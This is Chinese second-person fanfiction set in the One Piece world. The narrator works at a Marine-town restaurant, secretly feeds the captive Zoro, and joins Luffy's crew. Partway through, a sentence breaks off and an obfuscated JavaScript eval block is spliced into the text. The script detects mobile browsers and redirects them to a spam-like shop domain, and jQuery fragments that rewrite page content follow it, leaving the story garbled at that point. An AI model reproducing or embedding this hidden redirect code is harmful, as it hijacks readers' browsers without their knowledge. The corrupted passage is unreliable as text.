这个世界是属于海贼的世界。
天际一线,万里无云,晴空朗日,你恣意奔跑在沙地之上掠过光与影的边界,抬手猛地一抓!
“终于,我的天啊,终于抓到你了!”你气喘吁吁,终于抓住一直飘荡的,属于蒙奇.D.路飞的草帽。身后传来少年极具辨识度的嗓音,他大喊你的名字,弹簧一样的手伸了过来把你整个抱住,你们相拥转圈,哈哈大笑。
“我们成为同伴吧!路飞!”
“欸?我们不是已经成为伙伴了吗?”
“……是哦!”
你是在两个月前来到这个世界,彼时你正拖着行李箱,背着旅行包打算来一场说走就走的旅行来庆祝你的高考结束,结果刚下地你的人生就天旋地转,身边的景象变得陌生,来往在你身边的路人对话用叽里咕噜你只能听懂零星半点的日语。顿时明了事情真相的你握着行李箱手柄的手下意识收紧。
……
你深呼吸。
五分钟。
你花了五分钟,让自己冷静下来,并对回到家乡进行尝试,你尝试过原地向后撤步以图周围景象变回你熟悉的地方,失败。
你试图在内心高喊系统二字却不见回应,依靠外力回家,失败。
你看过自己手腕,白皙的皮肉将你的血脉覆盖,你没有外伤,你很健康,你感受着心脏的跳动,没有选择最下策。现在,你只好选择认命。
虽然和你预想的有偏差,但你这也算是另一种说走就走的旅行了。谁小时候没在生日的时候许愿想要穿越到自推在的二次元呢哈哈哈。
既来之则安之,老己。
你拖着行李箱在这里找地方暂住,找地方工作,同时,也在委托你的老板来教你说话。(只会写不会说怎么看怎么奇怪吧?)
一个月。你摸清楚了这里的状况,也大概掌握了这里的日常用语。知道这里是世界现象级IP海贼王的世界时,你忍不住发出爆了句粗口。
“damn。”
深色发色的女孩闻此看你,老板不赞同地朝你投来目光,你顿时尴尬地挠了挠后颈啊哈哈地把这个事儿略过去。
你的老板经营着一家不大不小的餐馆,作为一名单身母亲养育着一个女儿。女孩儿名叫丽加,是教你说话的主负责人,你写什么,她就会用日语告诉你你写的东西怎么说。
她的眼神如此明亮,不似这座小镇普遍的压抑恐惧心慌,可以看得出来她的母亲是如何苦心地栽培养育。你双手握拳,置于她的面前两侧,逗她“要不要来猜猜看我哪只手里有糖果?”
丽加努力思考,认真作出选择,你咧齿一笑,摊开双手。“都没有哦!”
“欸!”她看着有点要哭的意思,你没多犹豫,手往裤兜一伸,就取出你旅游购入的牛轧糖,奶香的气息自包装拆开就开始勾人。
她吃过后开朗地笑起来,老板看向你,你笑意盈盈地也给她一颗,她有点受宠若惊。
“欸?”
“试试看?”
她尝过你带来的甜,笑容如若丽加。
damn。
第二次爆粗,你献给了罗罗诺亚索隆。日常工作的时间里,蒙卡的儿子破门而入,与之同行的恶犬来到此地肆意妄为,它畅快地享用其他客人的炒饭,你默默吐槽这狗吃剩饭都这么开心?当然这件事你是不敢表露出来的。
贝鲁梅伯和其父蒙卡在这里可以统称为梦魇,贝鲁梅伯狗仗人势,欺人太甚,即使你知道他在未来会改善修行也不妨碍此刻众人对他的厌恶与愤怒。
你在此地即将度过第二个月,两个月里居民每逢见到他都会暗啧晦气。
可是无人敢反抗。
狗还在吃。
丽加突然挥舞着扫把扫开那扁头狗的嘴,它的主人似它一样乱吠。
你的心脏刹那骤停,勇敢不是冲动啊,丽加。
你稳住睁大瞳孔的小孩,颇有名声的赏金猎人挡在你俩身前,拇指托刀出鞘,仗势欺人的小屁孩双腿打颤却强装冷静,开口和年不过二十的少年进行不公平的谈判。而出行已久的少年他居然啊了一声答应他的要求,只要那个混蛋同意放过你们。
他是笨蛋吗?你的心跳很响,扶着丽加的手隐隐颤抖。你深呼吸,注视着他被海军捆束他的双手,没收他的武士刀,将他拘捕入牢,直到海军浩浩荡荡地离开。
吸气。
呼气。
你用力闭眼,强迫着自己连带怀中的小孩儿转过身,压着那颗不甘跳动着的心脏回归正常营业。店长感激地朝你投来一瞥。
你回以微笑。
你的喉咙在你的奔跑过程里好像也要随着你怀中的东西一样颠出来,这些天你都在不留余力地打探海军巡逻换班的空隙是什么时间,在了解过后你就开始确定安全的去程和回程。一切准备就绪后你才开始进行你的谋划,运动鞋在晚上跑步是没有声音的,你如此庆幸着自己当时为了跑八百这种死东西买了你觉得最舒服的鞋才让你在这些体力活里勉强坚持下来。
你就着夜色来到罗罗诺亚索隆的身边,彼时他正打着瞌睡,你悄悄拍打他的肩膀,他猛地睁眼,目光凶猛,似虎似豹。
认出你时,他的眉毛瞬间就往下压,声线也低沉地叫你滚。你没理他的恶言恶语,将怀里的面包直接塞他嘴里,说闭嘴,吃饭。罗罗诺亚索隆被面包捂得只能发出几声呜咽,但看着你的神情却充满审视。你说我是你前几天救下的伙计,这次来权当报恩,总之,我没有下毒,这个时间也没海军来,你安心吃吧。
他三两下啃光那份面包,而你的话甚至还没说完。
然后,他的肚子又响了几声。
……
你俩都有些尴尬。你看着只剩下零星面包碎的掌心有些垂汗,心道天啊差点忘记了这里的人饭量惊人。
“我只剩下水了。”
你告诉他,他啧了一声说既然吃完了你就赶紧回去。
缺水七天人就会死。
你还是给他喂了水,彼时的少年像小憩的野兽,安静地蛰伏以待给人最后一击,但他实在太乖,让你在这个世界长久以来紧绷的心态开始有几分松懈。你问他,“难道你就相信那个纨绔子弟会遵守约定吗?”
得到补给之后他比之前要放松些许,他眼睛一差不差地瞧你,你被盯得喉咙发紧,他才道,“我离开的话,你们都会遭殃吧。”
“……”你错开他的视线。
你听见一声叹息。“别担心我的事儿了,我会解决的,安心吧。”他如此说道。
你踏着夜色而归。
在见到罗罗诺亚索隆的那一刻你就知道这一片地区头顶的阴霾即将散去,可在此之前,你感受着街道上的行人越发的紧绷。大家避免谈论罗罗诺亚索隆,怕被海军抓住遭殃,可他做了错事吗?
在餐馆的你照常工作,湿淋淋的抹布在桌面留下一滩水渍。招致罗罗诺亚索隆出事的母女俩自那件事起就心有戚戚,你的老板笑颜牵强,不见曾经。
你完成一日工作,躺在不算柔软的床铺之上,手上无聊地把玩一直存储在你行李内的玩偶。
它算是你睡觉的阿贝贝,无论是过去还是现在,你都习惯在夜晚伴它入眠。
曾经是为了安神,现在,半是为了思乡吧?
你不喜欢这里。
你开启旅行的目的是逃离,你渴望自由的空气,你从未想过要回到压抑的地方中去。你讨厌沉重的东西,更讨厌无论做什么都需要有所顾忌的生活。曾经那块压在你身上的巨石是高考,现在却变成具象的俩人和阶级。
你抚摸布偶毛茸茸的脸,在异舞的摩挲声里翻身蜷缩。被子起伏出你躺倒的形状。
你都穿越了,为什么还要忍受这种东西?
你追求自由,你追求快乐。
你要求继续这场已经无法归乡的旅途。
你每夜去找索隆,带着怀里的面包和水,和他勉强算是熟悉了吧。他看着凶,脾气却不错,几乎是默认每晚你都会来这儿,你喂过他就走,交流甚少。
不过因为你每次带来的物资都有限且无法满足这怪物一样的食量,所以有一次他吃完你递给他的面包,你因为正在发呆没意识到面包消灭得如此之快,你的掌心碰到他的嘴唇,然后感到了湿意,痒意……好痛!
what!
你差点原地起跳,转过头看他的时候他和你一样震惊,我的天啊怎么会有两个人同时发呆的?
我的天啊这家伙不会把你当面包啃了吧?
我的天啊!
你把手从他的嘴里收回来,下意识啃咬没收力的男人即使松口很快也在你手上留下了明显的齿痕。
你很沉默,你是没有想过给人补给还能被受救助的人啃一口的。
“……抱歉。”字句入耳,你冷静地把口水抹他胸口。“扯平了。”
你数着日子,直到路飞上岸,大概是索隆被抓起来的第二十一天。
丽加怀里揣着东西急匆匆地出门,老板担心她出什么事情特意嘱咐你跟过去看看,你印象里模糊记得路飞和克比也是这个时间段到来的,等下,那不就是说今天也是丽加的受难日?小孩儿很容易出事的啊!
你急急忙忙地解开围裙往外走去,直到来到海军基地,熟悉的爬梯映入你的眼前,这不是你之前藏起来的工具吗?丽加这小孩。
你急匆匆地爬上去,甚至没和趴在旁边的草帽小子和粉头发少年打招呼,往沙地一跃来了个漂亮的空翻脚踏实地。
忽略掉身后来自路飞的叫好,你牵起丽加的手说海军很快就来了,我们得赶紧爬回去。丽加却看着索隆目光期待,你注意到她手里的饭团,联想起今天在厨房工作时少了一罐的砂糖。行吧,索隆,安心地吃吧。
你当机立断,捏走一个饭团就把它往索隆的嘴里塞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538333|203888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他被你这粗暴的举措弄得唔唔地发声,但你手上未消的齿痕就在他眼下,他停下来,尚算乖巧的把饭团咽了下去。然后他让你们赶紧滚蛋,你凶他,“对小孩凶什么凶?”
“那群家伙要来了。”
他压着嗓子回你,你瞳孔地震,正打算抱起丽加走人。但贝鲁梅伯的声音堪称丧钟之响,你抱紧怀里的丽加将她护在身后,面容冷峻地看着大跨步前来的臭小鬼。他双手叉腰自以为是地耍酷,知道丽加是来给索隆送东西的时候就一把抢过仅剩的那颗饭团毫不犹豫地啃了大半,这人将他人的心意弃如敝履,大叫着难吃,甜死人了的东西还想着送人。
这个人渣。
你强忍着怒火没对他出拳,那些挑衅加威胁的话一直让你的手在发抖,他的废话说完了,就命令手底下的人把你们丢出墙外,特意叮嘱,分别丢。
全然不顾人命。
你和丽加是同一时间被救起,草帽少年身上的气息是草木和阳光。既然离开了海军基地,这里不宜久留,你带着丽加找了个地方躲起来,直到看到路飞和克比的身影,你们才出来迎接他们。
丽加坐在木桶之上,她人小小的,语言组织却很清晰,比起你这个半文盲,很显然作为原住民的她更合适作解说把事情告诉他们。(其实你也听得半懂不懂。)
“所以,你是想让我们救走罗罗诺亚索隆,对吧?”路飞笑容洋溢,裂开的唇齿可见健康的粉色牙龈,他摸过丽加的脑袋,其回应如同在说一件理所当然的事情,“可以啊,反正我本来就打算让他来当我的同伴。”
路飞的行动很快,上午绑架了贝鲁梅伯去取索隆的三把刀,下午就到达场地,你也在场,见证他们之间的交火,即使路飞和克比没有邀请过你来。
蒙卡被激怒,蒙卡被围殴,在快要倒下之际贝鲁梅伯举起手枪对着你。冰冷枪头正对你的太阳穴,站在你旁边的克比很是紧张,你不否认此刻的自己也是如此,只是比起这些……你看着他打颤的双腿,情不自禁,嗤笑一声。“脚都站不稳的小鬼,还想着举枪威胁我吗?”
挑衅敌人不是一件聪明人该干的事。
可你为什么要怕他呢?
狐假虎威的人的气焰全都来自于他依附之人,当他依附的人没办法护住他时,他只会担惊、受怕。这个时候的贝鲁梅伯很好对付,只要表现得更加强硬,动作展露得比他更加果决。
白光闪过,蒙卡被击倒在地,你的夺枪行动也顺利进行。在场的人都把目光看向你,你一步一步向贝鲁梅伯走近,那曾经对准你的枪头改为对准他的脑袋,路飞和索隆就站在你的不远处。贝鲁梅伯狼狈地往后挪动,泪眼汪汪,大喊着你不要过来,你不要过来啊之类的话。
克比表现得更加紧张了,他的肩膀耸动,死死地盯着你,而你——
呵。
你把枪丢掉了。
你转移视线,和路飞索隆对视。
“呐,路飞,你的团队还缺人吗?把我也加进去吧,我不会成为你们的累赘。”
“可以啊。”他爽快地答应了。
路飞和索隆的食量非常惊人,堆积如山的肉食还有炒饭不过眨眼之间就没入了这俩的肚子里。这顿饭有一大半是由你来出力烹饪,你的手经由此役快抡得握不紧东西。老板看你幸苦,摸了摸你的脑袋说去休息吧。你这才得以偷闲来到柜台就着他俩吃饭的样子下饭,为了感谢他们救了这座城市,你的老板非常大方,将供餐馆营业几天的存货全部塞进了他们的肚子里。你见此景一度有些担忧你们未来的经费到底要花多少在喂饱这俩吃货的嘴里。
索隆放下碗筷,大喊一句终于吃饱了。你感叹道喂饱你们可真不容易,路飞看你挑到旁边的肉食,极为顺手的伸手去拿,你用筷子敲过他的手,“在吃别人东西之前得问过当事人才行啊,少年。”
他哦了一声表现得很乖,按照你的意思问你。你看了眼在你左边堆了半盘的肉,无可无不可地点头,拿起叉子就近喂了过去。“味道不错吧?”
路飞唔唔地附和,你咧齿一笑“当然,毕竟是我做的。”
路飞和海军对峙的情形你没有参与,当时你在洗盘子(毕竟是最后一天工作日了,你想着在最后一天也给她们剩下点事儿比较好。)知道你要离开的丽加偷摸地溜进厨房,看着你忙碌的身影,张嘴和你告别之前率先留下的是眼泪,它们扑簌簌地掉。
老板也在此时掀开帘子进来看你,她们母女俩真像啊,临告别前的动作都是一模一样的,她抿着嘴问你,“想好了吗?”
“我想好了哦,”你把最后一个盘子放好,解开围裙。
你们对视,你伸手拥抱她们,感受滚烫的眼泪浸湿你的衣襟,你说,“我本来就是来旅游的呀。现在只是重新启程了而已。”
外面的天气阳光正好,风拂过大地,带起一顶草帽。
这个世界,将是属于你的世界。